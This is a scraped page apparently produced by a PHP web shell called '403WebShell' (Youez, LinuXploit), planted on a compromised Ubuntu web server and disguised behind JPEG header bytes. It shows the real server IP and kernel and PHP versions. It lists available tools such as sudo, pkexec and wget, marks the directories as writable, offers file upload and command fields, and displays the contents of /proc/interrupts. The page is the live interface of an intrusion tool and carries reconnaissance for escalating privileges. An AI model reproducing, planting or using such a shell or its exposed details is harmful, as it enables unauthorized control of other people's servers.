????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.21
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
   0:         20          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer
   8:        323          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0
   9:          2          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi
  10:        109          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-edge      ipmi_si
  22:         75          0         25          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb2
  23:        194          0          0          0          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1
  72:          0          0          0          0          0          0          0          0          0          0          0          0  DMAR_MSI-edge      dmar0
  73:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  74:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  75:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  76:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  77:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  78:          0          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      PCIe PME
  79:   55917718   52429037   45274723   64553835   83665861  104472167          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  80:   44720341   39174954   27466047   32572151   40480799   50019234          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  81:   42573577   35448719   26863833   30543975   39309841   47736381          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  82:   64285548   45254764   39975081   38435001   62085470   77278778          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  83:   74407422   47748874   41640334   58329575   59016414   91177352          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  84:  103101113   43467949   46752798   73182313   99880079   99710760          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  85:    4201154    8197264    3690375    4105235    5491669    4775739          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  86:    3946087    6238165    3118756    3296501    4951275    4210666          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  87:    3569084    6108889    3026697    2977606    3766207    3987588          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  88:    5345688    6663832    3479097    3237048    5356592    4647325          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  89:    5433397    6518606    3724888    4757003    4377578    5138607          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  90:    6365430    6519949    3909167    4600100    6547756    4805047          0          0          0          0          0          0  IR-PCI-MSI-edge      megasas
  91:    6978963   12449990    7551996    5179648   10342507   13554277          0          0          0          0          0          0  IR-PCI-MSI-edge      ahci
  92:         12          0 1173046410          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-tx-0
  93:          1          0          0 2402398433          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-1
  94:          1          0          0          0 1888945262          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-2
  95:          1          0          0          0          0 2228437728          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-3
  96: 2157924016          0          0          0          0          0          0          0          0          0          0          0  IR-PCI-MSI-edge      em2-rx-4
 NMI:    2984400    2782861    2773182    2747629    2897999    2993967    1656010    1671669    1689915    1660122    1667091    1652714   Non-maskable interrupts
 LOC: 2732289612 2311189941 2323819020 2322277997 2551329156 2743243018 3954507632 3825695071 3854608041 3797567086 3819733964 3788327679   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:    2984400    2782861    2773182    2747629    2897999    2993967    1656010    1671669    1689915    1660122    1667091    1652714   Performance monitoring interrupts
 IWI:   72313703   99833451   91743957   39780861   66381357   70740944   24123529   25439895   24345490   31148903   28228767   26430979   IRQ work interrupts
 RTR:         11          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:  375708451  300837373  279929641  334815420  320742205  323313612  136315503  136513198  133556624  133116367  132928886  132306281   Rescheduling interrupts
 CAL:   24052339   19803886   18740096   21384274   23325123   24478842   10247339   10763706   10934491   10872388   11118290   10507109   Function call interrupts
 TLB:   20594466   16948943   15883732   18313040   20015920   20915011    9500964    9990020   10181406   10110806   10368058    9733344   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 MCE:          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:     382686     382686     382686     382686     382686     382686     382686     382686     382686     382686     382686     382686   Machine check polls
 ERR:          0
 MIS:          0

Youez - 2016 - github.com/yon3zu
LinuXploit